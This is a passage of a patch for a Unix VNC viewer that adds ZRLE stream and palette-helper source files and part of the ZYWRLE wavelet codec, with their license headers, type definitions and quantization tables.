-+ rfbLog("zrleOutStreamOverrun: deflate failed with error code %d\n", ret);
-+ return 0;
-+ }
-+
-+#ifdef ZRLE_DEBUG
-+ rfbLog("zrleOutStreamOverrun: after deflate: %d bytes\n",
-+ os->zs.next_out - os->out.ptr);
-+#endif
-+
-+ os->out.ptr = os->zs.next_out;
-+ } while (os->zs.avail_out == 0);
-+
-+ /* output buffer not full */
-+
-+ if (os->zs.avail_in == 0) {
-+ os->in.ptr = os->in.start;
-+ } else {
-+ /* but didn't consume all the data? try shifting what's left to the
-+ * start of the buffer.
-+ */
-+ rfbLog("zrleOutStreamOverrun: out buf not full, but in data not consumed\n");
-+ memmove(os->in.start, os->zs.next_in, os->in.ptr - os->zs.next_in);
-+ os->in.ptr -= os->zs.next_in - os->in.start;
-+ }
-+ }
-+
-+ if (size > os->in.end - os->in.ptr)
-+ size = os->in.end - os->in.ptr;
-+
-+ return size;
-+}
-+
-+static int zrleOutStreamCheck(zrleOutStream *os, int size)
-+{
-+ if (os->in.ptr + size > os->in.end) {
-+ return zrleOutStreamOverrun(os, size);
-+ }
-+ return size;
-+}
-+
-+void zrleOutStreamWriteBytes(zrleOutStream *os,
-+ const zrle_U8 *data,
-+ int length)
-+{
-+ const zrle_U8* dataEnd = data + length;
-+ while (data < dataEnd) {
-+ int n = zrleOutStreamCheck(os, dataEnd - data);
-+ memcpy(os->in.ptr, data, n);
-+ os->in.ptr += n;
-+ data += n;
-+ }
-+}
-+
-+void zrleOutStreamWriteU8(zrleOutStream *os, zrle_U8 u)
-+{
-+ zrleOutStreamCheck(os, 1);
-+ *os->in.ptr++ = u;
-+}
-+
-+void zrleOutStreamWriteOpaque8(zrleOutStream *os, zrle_U8 u)
-+{
-+ zrleOutStreamCheck(os, 1);
-+ *os->in.ptr++ = u;
-+}
-+
-+void zrleOutStreamWriteOpaque16 (zrleOutStream *os, zrle_U16 u)
-+{
-+ zrleOutStreamCheck(os, 2);
-+ *os->in.ptr++ = ((zrle_U8*)&u)[0];
-+ *os->in.ptr++ = ((zrle_U8*)&u)[1];
-+}
-+
-+void zrleOutStreamWriteOpaque32 (zrleOutStream *os, zrle_U32 u)
-+{
-+ zrleOutStreamCheck(os, 4);
-+ *os->in.ptr++ = ((zrle_U8*)&u)[0];
-+ *os->in.ptr++ = ((zrle_U8*)&u)[1];
-+ *os->in.ptr++ = ((zrle_U8*)&u)[2];
-+ *os->in.ptr++ = ((zrle_U8*)&u)[3];
-+}
-+
-+void zrleOutStreamWriteOpaque24A(zrleOutStream *os, zrle_U32 u)
-+{
-+ zrleOutStreamCheck(os, 3);
-+ *os->in.ptr++ = ((zrle_U8*)&u)[0];
-+ *os->in.ptr++ = ((zrle_U8*)&u)[1];
-+ *os->in.ptr++ = ((zrle_U8*)&u)[2];
-+}
-+
-+void zrleOutStreamWriteOpaque24B(zrleOutStream *os, zrle_U32 u)
-+{
-+ zrleOutStreamCheck(os, 3);
-+ *os->in.ptr++ = ((zrle_U8*)&u)[1];
-+ *os->in.ptr++ = ((zrle_U8*)&u)[2];
-+ *os->in.ptr++ = ((zrle_U8*)&u)[3];
-+}
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/zrleoutstream.h vnc_unixsrc/vncviewer/zrleoutstream.h
---- vnc_unixsrc.orig/vncviewer/zrleoutstream.h 1969-12-31 19:00:00.000000000 -0500
-+++ vnc_unixsrc/vncviewer/zrleoutstream.h 2004-05-25 06:05:15.000000000 -0400
-@@ -0,0 +1,62 @@
-+/*
-+ * Copyright (C) 2002 RealVNC Ltd. All Rights Reserved.
-+ * Copyright (C) 2003 Sun Microsystems, Inc.
-+ *
-+ * This is free software; you can redistribute it and/or modify
-+ * it under the terms of the GNU General Public License as published by
-+ * the Free Software Foundation; either version 2 of the License, or
-+ * (at your option) any later version.
-+ *
-+ * This software is distributed in the hope that it will be useful,
-+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-+ * GNU General Public License for more details.
-+ *
-+ * You should have received a copy of the GNU General Public License
-+ * along with this software; if not, write to the Free Software
-+ * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ * USA.
-+ */
-+
-+#ifndef __ZRLE_OUT_STREAM_H__
-+#define __ZRLE_OUT_STREAM_H__
-+
-+#include <zlib.h>
-+#include "zrletypes.h"
-+#include "rfb/rfb.h"
-+
-+typedef struct {
-+ zrle_U8 *start;
-+ zrle_U8 *ptr;
-+ zrle_U8 *end;
-+} zrleBuffer;
-+
-+typedef struct {
-+ zrleBuffer in;
-+ zrleBuffer out;
-+
-+ z_stream zs;
-+} zrleOutStream;
-+
-+#define ZRLE_BUFFER_LENGTH(b) ((b)->ptr - (b)->start)
-+
-+zrleOutStream *zrleOutStreamNew (void);
-+void zrleOutStreamFree (zrleOutStream *os);
-+rfbBool zrleOutStreamFlush (zrleOutStream *os);
-+void zrleOutStreamWriteBytes (zrleOutStream *os,
-+ const zrle_U8 *data,
-+ int length);
-+void zrleOutStreamWriteU8 (zrleOutStream *os,
-+ zrle_U8 u);
-+void zrleOutStreamWriteOpaque8 (zrleOutStream *os,
-+ zrle_U8 u);
-+void zrleOutStreamWriteOpaque16 (zrleOutStream *os,
-+ zrle_U16 u);
-+void zrleOutStreamWriteOpaque32 (zrleOutStream *os,
-+ zrle_U32 u);
-+void zrleOutStreamWriteOpaque24A(zrleOutStream *os,
-+ zrle_U32 u);
-+void zrleOutStreamWriteOpaque24B(zrleOutStream *os,
-+ zrle_U32 u);
-+
-+#endif /* __ZRLE_OUT_STREAM_H__ */
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/zrlepalettehelper.c vnc_unixsrc/vncviewer/zrlepalettehelper.c
---- vnc_unixsrc.orig/vncviewer/zrlepalettehelper.c 1969-12-31 19:00:00.000000000 -0500
-+++ vnc_unixsrc/vncviewer/zrlepalettehelper.c 2004-05-25 06:05:15.000000000 -0400
-@@ -0,0 +1,62 @@
-+/*
-+ * Copyright (C) 2002 RealVNC Ltd. All Rights Reserved.
-+ * Copyright (C) 2003 Sun Microsystems, Inc.
-+ *
-+ * This is free software; you can redistribute it and/or modify
-+ * it under the terms of the GNU General Public License as published by
-+ * the Free Software Foundation; either version 2 of the License, or
-+ * (at your option) any later version.
-+ *
-+ * This software is distributed in the hope that it will be useful,
-+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-+ * GNU General Public License for more details.
-+ *
-+ * You should have received a copy of the GNU General Public License
-+ * along with this software; if not, write to the Free Software
-+ * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ * USA.
-+ */
-+
-+#include "zrlepalettehelper.h"
-+#include <assert.h>
-+#include <string.h>
-+
-+#define ZRLE_HASH(pix) (((pix) ^ ((pix) >> 17)) & 4095)
-+
-+void zrlePaletteHelperInit(zrlePaletteHelper *helper)
-+{
-+ memset(helper->palette, 0, sizeof(helper->palette));
-+ memset(helper->index, 255, sizeof(helper->index));
-+ memset(helper->key, 0, sizeof(helper->key));
-+ helper->size = 0;
-+}
-+
-+void zrlePaletteHelperInsert(zrlePaletteHelper *helper, zrle_U32 pix)
-+{
-+ if (helper->size < ZRLE_PALETTE_MAX_SIZE) {
-+ int i = ZRLE_HASH(pix);
-+
-+ while (helper->index[i] != 255 && helper->key[i] != pix)
-+ i++;
-+ if (helper->index[i] != 255) return;
-+
-+ helper->index[i] = helper->size;
-+ helper->key[i] = pix;
-+ helper->palette[helper->size] = pix;
-+ }
-+ helper->size++;
-+}
-+
-+int zrlePaletteHelperLookup(zrlePaletteHelper *helper, zrle_U32 pix)
-+{
-+ int i = ZRLE_HASH(pix);
-+
-+ assert(helper->size <= ZRLE_PALETTE_MAX_SIZE);
-+
-+ while (helper->index[i] != 255 && helper->key[i] != pix)
-+ i++;
-+ if (helper->index[i] != 255) return helper->index[i];
-+
-+ return -1;
-+}
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/zrlepalettehelper.h vnc_unixsrc/vncviewer/zrlepalettehelper.h
---- vnc_unixsrc.orig/vncviewer/zrlepalettehelper.h 1969-12-31 19:00:00.000000000 -0500
-+++ vnc_unixsrc/vncviewer/zrlepalettehelper.h 2004-05-25 06:05:15.000000000 -0400
-@@ -0,0 +1,46 @@
-+/*
-+ * Copyright (C) 2002 RealVNC Ltd. All Rights Reserved.
-+ * Copyright (C) 2003 Sun Microsystems, Inc.
-+ *
-+ * This is free software; you can redistribute it and/or modify
-+ * it under the terms of the GNU General Public License as published by
-+ * the Free Software Foundation; either version 2 of the License, or
-+ * (at your option) any later version.
-+ *
-+ * This software is distributed in the hope that it will be useful,
-+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-+ * GNU General Public License for more details.
-+ *
-+ * You should have received a copy of the GNU General Public License
-+ * along with this software; if not, write to the Free Software
-+ * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ * USA.
-+ */
-+
-+/*
-+ * The PaletteHelper class helps us build up the palette from pixel data by
-+ * storing a reverse index using a simple hash-table
-+ */
-+
-+#ifndef __ZRLE_PALETTE_HELPER_H__
-+#define __ZRLE_PALETTE_HELPER_H__
-+
-+#include "zrletypes.h"
-+
-+#define ZRLE_PALETTE_MAX_SIZE 127
-+
-+typedef struct {
-+ zrle_U32 palette[ZRLE_PALETTE_MAX_SIZE];
-+ zrle_U8 index[ZRLE_PALETTE_MAX_SIZE + 4096];
-+ zrle_U32 key[ZRLE_PALETTE_MAX_SIZE + 4096];
-+ int size;
-+} zrlePaletteHelper;
-+
-+void zrlePaletteHelperInit (zrlePaletteHelper *helper);
-+void zrlePaletteHelperInsert(zrlePaletteHelper *helper,
-+ zrle_U32 pix);
-+int zrlePaletteHelperLookup(zrlePaletteHelper *helper,
-+ zrle_U32 pix);
-+
-+#endif /* __ZRLE_PALETTE_HELPER_H__ */
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/zrletypes.h vnc_unixsrc/vncviewer/zrletypes.h
---- vnc_unixsrc.orig/vncviewer/zrletypes.h 1969-12-31 19:00:00.000000000 -0500
-+++ vnc_unixsrc/vncviewer/zrletypes.h 2004-05-25 06:05:15.000000000 -0400
-@@ -0,0 +1,30 @@
-+/*
-+ * Copyright (C) 2002 RealVNC Ltd. All Rights Reserved.
-+ *
-+ * This is free software; you can redistribute it and/or modify
-+ * it under the terms of the GNU General Public License as published by
-+ * the Free Software Foundation; either version 2 of the License, or
-+ * (at your option) any later version.
-+ *
-+ * This software is distributed in the hope that it will be useful,
-+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-+ * GNU General Public License for more details.
-+ *
-+ * You should have received a copy of the GNU General Public License
-+ * along with this software; if not, write to the Free Software
-+ * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ * USA.
-+ */
-+
-+#ifndef __ZRLE_TYPES_H__
-+#define __ZRLE_TYPES_H__
-+
-+typedef unsigned char zrle_U8;
-+typedef unsigned short zrle_U16;
-+typedef unsigned int zrle_U32;
-+typedef signed char zrle_S8;
-+typedef signed short zrle_S16;
-+typedef signed int zrle_S32;
-+
-+#endif /* __ZRLE_TYPES_H__ */
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/zywrletemplate.c vnc_unixsrc/vncviewer/zywrletemplate.c
---- vnc_unixsrc.orig/vncviewer/zywrletemplate.c 1969-12-31 19:00:00.000000000 -0500
-+++ vnc_unixsrc/vncviewer/zywrletemplate.c 2008-02-15 23:33:13.000000000 -0500
-@@ -0,0 +1,824 @@
-+
-+/********************************************************************
-+ * *
-+ * THIS FILE IS PART OF THE 'ZYWRLE' VNC CODEC SOURCE CODE. *
-+ * *
-+ * USE, DISTRIBUTION AND REPRODUCTION OF THIS LIBRARY SOURCE IS *
-+ * GOVERNED BY A FOLLOWING BSD-STYLE SOURCE LICENSE. *
-+ * PLEASE READ THESE TERMS BEFORE DISTRIBUTING. *
-+ * *
-+ * THE 'ZYWRLE' VNC CODEC SOURCE CODE IS (C) COPYRIGHT 2006 *
-+ * BY Hitachi Systems & Services, Ltd. *
-+ * (Noriaki Yamazaki, Research & Developement Center) * *
-+ * *
-+ ********************************************************************
-+Redistribution and use in source and binary forms, with or without
-+modification, are permitted provided that the following conditions
-+are met:
-+
-+- Redistributions of source code must retain the above copyright
-+notice, this list of conditions and the following disclaimer.
-+
-+- Redistributions in binary form must reproduce the above copyright
-+notice, this list of conditions and the following disclaimer in the
-+documentation and/or other materials provided with the distribution.
-+
-+- Neither the name of the Hitachi Systems & Services, Ltd. nor
-+the names of its contributors may be used to endorse or promote
-+products derived from this software without specific prior written
-+permission.
-+
-+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-+``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-+A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION
-+OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
-+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-+ ********************************************************************/
-+
-+/* Change Log:
-+ V0.02 : 2008/02/04 : Fix mis encode/decode when width != scanline
-+ (Thanks Johannes Schindelin, author of LibVNC
-+ Server/Client)
-+ V0.01 : 2007/02/06 : Initial release
-+*/
-+
-+/* #define ZYWRLE_ENCODE */
-+/* #define ZYWRLE_DECODE */
-+#define ZYWRLE_QUANTIZE
-+
-+/*
-+[References]
-+ PLHarr:
-+ Senecal, J. G., P. Lindstrom, M. A. Duchaineau, and K. I. Joy, "An Improved N-Bit to N-Bit Reversible Haar-Like Transform," Pacific Graphics 2004, October 2004, pp. 371-380.
-+ EZW:
-+ Shapiro, JM: Embedded Image Coding Using Zerotrees of Wavelet Coefficients, IEEE Trans. Signal. Process., Vol.41, pp.3445-3462 (1993).
-+*/
-+
-+
-+/* Template Macro stuffs. */
-+#undef ZYWRLE_ANALYZE
-+#undef ZYWRLE_SYNTHESIZE
-+#define ZYWRLE_ANALYZE __RFB_CONCAT3E(zywrleAnalyze,BPP,END_FIX)
-+#define ZYWRLE_SYNTHESIZE __RFB_CONCAT3E(zywrleSynthesize,BPP,END_FIX)
-+
-+#define ZYWRLE_RGBYUV __RFB_CONCAT3E(zywrleRGBYUV,BPP,END_FIX)
-+#define ZYWRLE_YUVRGB __RFB_CONCAT3E(zywrleYUVRGB,BPP,END_FIX)
-+#define ZYWRLE_YMASK __RFB_CONCAT2E(ZYWRLE_YMASK,BPP)
-+#define ZYWRLE_UVMASK __RFB_CONCAT2E(ZYWRLE_UVMASK,BPP)
-+#define ZYWRLE_LOAD_PIXEL __RFB_CONCAT2E(ZYWRLE_LOAD_PIXEL,BPP)
-+#define ZYWRLE_SAVE_PIXEL __RFB_CONCAT2E(ZYWRLE_SAVE_PIXEL,BPP)
-+
-+/* Packing/Unpacking pixel stuffs.
-+ Endian conversion stuffs. */
-+#undef S_0
-+#undef S_1
-+#undef L_0
-+#undef L_1
-+#undef L_2
-+#if ZYWRLE_ENDIAN == ENDIAN_BIG
-+# define S_0 1
-+# define S_1 0
-+# define L_0 3
-+# define L_1 2
-+# define L_2 1
-+#else
-+# define S_0 0
-+# define S_1 1
-+# define L_0 0
-+# define L_1 1
-+# define L_2 2
-+#endif
-+
-+/* Load/Save pixel stuffs. */
-+#define ZYWRLE_YMASK15 0xFFFFFFF8
-+#define ZYWRLE_UVMASK15 0xFFFFFFF8
-+#define ZYWRLE_LOAD_PIXEL15(pSrc,R,G,B) { \
-+ R = (((unsigned char*)pSrc)[S_1]<< 1)& 0xF8; \
-+ G = ((((unsigned char*)pSrc)[S_1]<< 6)|(((unsigned char*)pSrc)[S_0]>> 2))& 0xF8; \
-+ B = (((unsigned char*)pSrc)[S_0]<< 3)& 0xF8; \
-+}
-+#define ZYWRLE_SAVE_PIXEL15(pDst,R,G,B) { \
-+ R &= 0xF8; \
-+ G &= 0xF8; \
-+ B &= 0xF8; \
-+ ((unsigned char*)pDst)[S_1] = (unsigned char)( (R>>1)|(G>>6) ); \
-+ ((unsigned char*)pDst)[S_0] = (unsigned char)(((B>>3)|(G<<2))& 0xFF); \
-+}
-+#define ZYWRLE_YMASK16 0xFFFFFFFC
-+#define ZYWRLE_UVMASK16 0xFFFFFFF8
-+#define ZYWRLE_LOAD_PIXEL16(pSrc,R,G,B) { \
-+ R = ((unsigned char*)pSrc)[S_1] & 0xF8; \
-+ G = ((((unsigned char*)pSrc)[S_1]<< 5)|(((unsigned char*)pSrc)[S_0]>> 3))& 0xFC; \
-+ B = (((unsigned char*)pSrc)[S_0]<< 3)& 0xF8; \
-+}
-+#define ZYWRLE_SAVE_PIXEL16(pDst,R,G,B) { \
-+ R &= 0xF8; \
-+ G &= 0xFC; \
-+ B &= 0xF8; \
-+ ((unsigned char*)pDst)[S_1] = (unsigned char)( R |(G>>5) ); \
-+ ((unsigned char*)pDst)[S_0] = (unsigned char)(((B>>3)|(G<<3))& 0xFF); \
-+}
-+#define ZYWRLE_YMASK32 0xFFFFFFFF
-+#define ZYWRLE_UVMASK32 0xFFFFFFFF
-+#define ZYWRLE_LOAD_PIXEL32(pSrc,R,G,B) { \
-+ R = ((unsigned char*)pSrc)[L_2]; \
-+ G = ((unsigned char*)pSrc)[L_1]; \
-+ B = ((unsigned char*)pSrc)[L_0]; \
-+}
-+#define ZYWRLE_SAVE_PIXEL32(pDst,R,G,B) { \
-+ ((unsigned char*)pDst)[L_2] = (unsigned char)R; \
-+ ((unsigned char*)pDst)[L_1] = (unsigned char)G; \
-+ ((unsigned char*)pDst)[L_0] = (unsigned char)B; \
-+}
-+
-+#ifndef ZYWRLE_ONCE
-+#define ZYWRLE_ONCE
-+
-+#ifdef WIN32
-+#define InlineX __inline
-+#else
-+#define InlineX inline
-+#endif
-+
-+#ifdef ZYWRLE_ENCODE
-+/* Tables for Coefficients filtering. */
-+# ifndef ZYWRLE_QUANTIZE
-+/* Type A:lower bit omitting of EZW style. */
-+const static unsigned int zywrleParam[3][3]={
-+ {0x0000F000,0x00000000,0x00000000},
-+ {0x0000C000,0x00F0F0F0,0x00000000},
-+ {0x0000C000,0x00C0C0C0,0x00F0F0F0},
-+/* {0x0000FF00,0x00000000,0x00000000},
-+ {0x0000FF00,0x00FFFFFF,0x00000000},
-+ {0x0000FF00,0x00FFFFFF,0x00FFFFFF}, */
-+};
-+# else
-+/* Type B:Non liner quantization filter. */
-+static const signed char zywrleConv[4][256]={
-+{ /* bi=5, bo=5 r=0.0:PSNR=24.849 */
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+},
-+{ /* bi=5, bo=5 r=2.0:PSNR=74.031 */
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 32,
-+ 32, 32, 32, 32, 32, 32, 32, 32,
-+ 32, 32, 32, 32, 32, 32, 32, 32,
-+ 48, 48, 48, 48, 48, 48, 48, 48,
-+ 48, 48, 48, 56, 56, 56, 56, 56,
-+ 56, 56, 56, 56, 64, 64, 64, 64,
-+ 64, 64, 64, 64, 72, 72, 72, 72,
-+ 72, 72, 72, 72, 80, 80, 80, 80,
-+ 80, 80, 88, 88, 88, 88, 88, 88,
-+ 88, 88, 88, 88, 88, 88, 96, 96,
-+ 96, 96, 96, 104, 104, 104, 104, 104,
-+ 104, 104, 104, 104, 104, 112, 112, 112,
-+ 112, 112, 112, 112, 112, 112, 120, 120,
-+ 120, 120, 120, 120, 120, 120, 120, 120,
-+ 0, -120, -120, -120, -120, -120, -120, -120,
-+ -120, -120, -120, -112, -112, -112, -112, -112,
-+ -112, -112, -112, -112, -104, -104, -104, -104,
-+ -104, -104, -104, -104, -104, -104, -96, -96,
-+ -96, -96, -96, -88, -88, -88, -88, -88,
-+ -88, -88, -88, -88, -88, -88, -88, -80,
-+ -80, -80, -80, -80, -80, -72, -72, -72,
-+ -72, -72, -72, -72, -72, -64, -64, -64,
-+ -64, -64, -64, -64, -64, -56, -56, -56,
-+ -56, -56, -56, -56, -56, -56, -48, -48,
-+ -48, -48, -48, -48, -48, -48, -48, -48,
-+ -48, -32, -32, -32, -32, -32, -32, -32,
-+ -32, -32, -32, -32, -32, -32, -32, -32,
-+ -32, -32, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+},
-+{ /* bi=5, bo=4 r=2.0:PSNR=64.441 */
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 48, 48, 48, 48, 48, 48, 48, 48,
-+ 48, 48, 48, 48, 48, 48, 48, 48,
-+ 48, 48, 48, 48, 48, 48, 48, 48,
-+ 64, 64, 64, 64, 64, 64, 64, 64,
-+ 64, 64, 64, 64, 64, 64, 64, 64,
-+ 80, 80, 80, 80, 80, 80, 80, 80,
-+ 80, 80, 80, 80, 80, 88, 88, 88,
-+ 88, 88, 88, 88, 88, 88, 88, 88,
-+ 104, 104, 104, 104, 104, 104, 104, 104,
-+ 104, 104, 104, 112, 112, 112, 112, 112,
-+ 112, 112, 112, 112, 120, 120, 120, 120,
-+ 120, 120, 120, 120, 120, 120, 120, 120,
-+ 0, -120, -120, -120, -120, -120, -120, -120,
-+ -120, -120, -120, -120, -120, -112, -112, -112,
-+ -112, -112, -112, -112, -112, -112, -104, -104,
-+ -104, -104, -104, -104, -104, -104, -104, -104,
-+ -104, -88, -88, -88, -88, -88, -88, -88,
-+ -88, -88, -88, -88, -80, -80, -80, -80,
-+ -80, -80, -80, -80, -80, -80, -80, -80,
-+ -80, -64, -64, -64, -64, -64, -64, -64,
-+ -64, -64, -64, -64, -64, -64, -64, -64,
-+ -64, -48, -48, -48, -48, -48, -48, -48,
-+ -48, -48, -48, -48, -48, -48, -48, -48,
-+ -48, -48, -48, -48, -48, -48, -48, -48,
-+ -48, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+},
-+{ /* bi=5, bo=2 r=2.0:PSNR=43.175 */
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 88, 88, 88, 88, 88, 88, 88, 88,
-+ 88, 88, 88, 88, 88, 88, 88, 88,
-+ 88, 88, 88, 88, 88, 88, 88, 88,
-+ 88, 88, 88, 88, 88, 88, 88, 88,
-+ 88, 88, 88, 88, 88, 88, 88, 88,
-+ 88, 88, 88, 88, 88, 88, 88, 88,
-+ 88, 88, 88, 88, 88, 88, 88, 88,
-+ 88, 88, 88, 88, 88, 88, 88, 88,
-+ 0, -88, -88, -88, -88, -88, -88, -88,
-+ -88, -88, -88, -88, -88, -88, -88, -88,
-+ -88, -88, -88, -88, -88, -88, -88, -88,
-+ -88, -88, -88, -88, -88, -88, -88, -88,
-+ -88, -88, -88, -88, -88, -88, -88, -88,
-+ -88, -88, -88, -88, -88, -88, -88, -88,
-+ -88, -88, -88, -88, -88, -88, -88, -88,
-+ -88, -88, -88, -88, -88, -88, -88, -88,
-+ -88, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+ 0, 0, 0, 0, 0, 0, 0, 0,
-+}
-+};
-+const static signed char* zywrleParam[3][3][3]={
-+ {{zywrleConv[0],zywrleConv[2],zywrleConv[0]},{zywrleConv[0],zywrleConv[0],zywrleConv[0]},{zywrleConv[0],zywrleConv[0],zywrleConv[0]}},
-+ {{zywrleConv[0],zywrleConv[3],zywrleConv[0]},{zywrleConv[1],zywrleConv[1],zywrleConv[1]},{zywrleConv[0],zywrleConv[0],zywrleConv[0]}},
-+ {{zywrleConv[0],zywrleConv[3],zywrleConv[0]},{zywrleConv[2],zywrleConv[2],zywrleConv[2]},{zywrleConv[1],zywrleConv[1],zywrleConv[1]}},
-+};
-+# endif
-+#endif
-+
-+static InlineX void Harr(signed char* pX0, signed char* pX1)
-+{
-+ /* Piecewise-Linear Harr(PLHarr) */
-+ int X0 = (int)*pX0, X1 = (int)*pX1;
-+ int orgX0 = X0, orgX1 = X1;
-+ if ((X0 ^ X1) & 0x80) {
-+ /* differ sign */
-+ X1 += X0;
-+ if (((X1^orgX1)&0x80)==0) {
-+ /* |X1| > |X0| */
-+ X0 -= X1; /* H = -B */
-+ }
-+ } else {
-+ /* same sign */
-+ X0 -= X1;
-+ if (((X0 ^ orgX0) & 0x80) == 0) {
-+ /* |X0| > |X1| */
-+ X1 += X0; /* L = A */
-+ }
-+ }
-+ *pX0 = (signed char)X1;
-+ *pX1 = (signed char)X0;
-+}
-+/*
-+ 1D-Wavelet transform.
-+
-+ In coefficients array, the famous 'pyramid' decomposition is well used.
-+
-+ 1D Model:
-+ |L0L0L0L0|L0L0L0L0|H0H0H0H0|H0H0H0H0| : level 0
-+ |L1L1L1L1|H1H1H1H1|H0H0H0H0|H0H0H0H0| : level 1
-+
-+ But this method needs line buffer because H/L is different position from X0/X1.
-+ So, I used 'interleave' decomposition instead of it.
-+
-+ 1D Model:
-+ |L0H0L0H0|L0H0L0H0|L0H0L0H0|L0H0L0H0| : level 0
-+ |L1H0H1H0|L1H0H1H0|L1H0H1H0|L1H0H1H0| : level 1
-+
-+ In this method, H/L and X0/X1 is always same position.
-+ This lead us to more speed and less memory.
-+ Of cause, the result of both method is quite same
-+ because it's only difference that coefficient position.
-+*/
-+static InlineX void WaveletLevel(int* data, int size, int l, int SkipPixel)
-+{
-+ int s, ofs;
-+ signed char* pX0;
-+ signed char* end;
-+
-+ pX0 = (signed char*)data;
-+ s = (8<<l)*SkipPixel;
-+ end = pX0+(size>>(l+1))*s;
-+ s -= 2;
-+ ofs = (4<<l)*SkipPixel;
-+ while (pX0 < end) {
-+ Harr(pX0, pX0+ofs);
-+ pX0++;
-+ Harr(pX0, pX0+ofs);
-+ pX0++;
-+ Harr(pX0, pX0+ofs);
-+ pX0 += s;
-+ }
-+}
-+#define InvWaveletLevel(d,s,l,pix) WaveletLevel(d,s,l,pix)
-+
-+#ifdef ZYWRLE_ENCODE
-+# ifndef ZYWRLE_QUANTIZE
-+/* Type A:lower bit omitting of EZW style. */
